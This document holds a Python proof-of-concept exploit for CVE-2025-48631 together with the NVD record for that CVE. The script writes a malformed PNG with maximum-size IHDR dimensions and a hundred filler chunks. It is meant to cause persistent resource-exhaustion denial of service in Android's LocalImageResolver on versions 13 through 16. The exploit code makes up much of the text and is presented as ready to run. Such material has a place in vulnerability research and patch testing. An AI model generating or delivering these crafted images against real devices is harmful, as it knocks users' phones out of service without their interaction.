CVE-2025-48631

import struct import os def create_malicious_image(): """ Generate a malicious image file to trigger CVE-2025-48631 This PoC creates an image with malformed header to cause resource exhaustion in LocalImageResolver.java onHeaderDecoded method """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # Create malformed IHDR chunk with invalid dimensions # Width and Height set to extreme values to trigger resource exhaustion ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Max int dimensions ihdr_data += struct.pack('>BBBB', 8, 2, 0, 0) # Bit depth, color type, compression, filter # Calculate CRC for IHDR chunk import zlib ihdr_type = b'IHDR' ihdr_crc = zlib.crc32(ihdr_type + ihdr_data) & 0xFFFFFFFF # Construct malformed PNG with repeated header data malicious_data = png_signature malicious_data += struct.pack('>I', len(ihdr_data)) # Length malicious_data += ihdr_type + ihdr_data malicious_data += struct.pack('>I', ihdr_crc) # CRC # Add multiple malformed chunks to increase resource consumption for i in range(100): chunk_data = b'\x00' * 256 chunk_crc = zlib.crc32(b'FLT\x00' + chunk_data) & 0xFFFFFFFF malicious_data += struct.pack('>I', len(chunk_data)) malicious_data += b'FLT\x00' + chunk_data malicious_data += struct.pack('>I', chunk_crc) # Write malicious image file output_path = 'CVE-2025-48631_poc.png' with open(output_path, 'wb') as f: f.write(malicious_data) print(f'Malicious image created: {output_path}') print('This file can trigger resource exhaustion in Android LocalImageResolver') return output_path if __name__ == '__main__': create_malicious_image()

{"cve": {"id": "CVE-2025-48631", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:19.370", "lastModified": "2026-03-06T04:15:59.507", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In onHeaderDecoded of LocalImageResolver.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_1:*:*:*:*:*:*", "matchCriteriaId": "FD695F32-4A73-4846-B1A1-04FF266E9C15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_2:*:*:*:*:*:*", "matchCriteriaId": "3DE9F018-8704-476B-8D59-F63F8486E231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_3:*:*:*:*:*:*", "matchCriteriaId": "BE95A642-4330-4F65-B028-3BA597D30F32"}]}]}], "references": [{"url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01", "source": "[email protected]"}]}}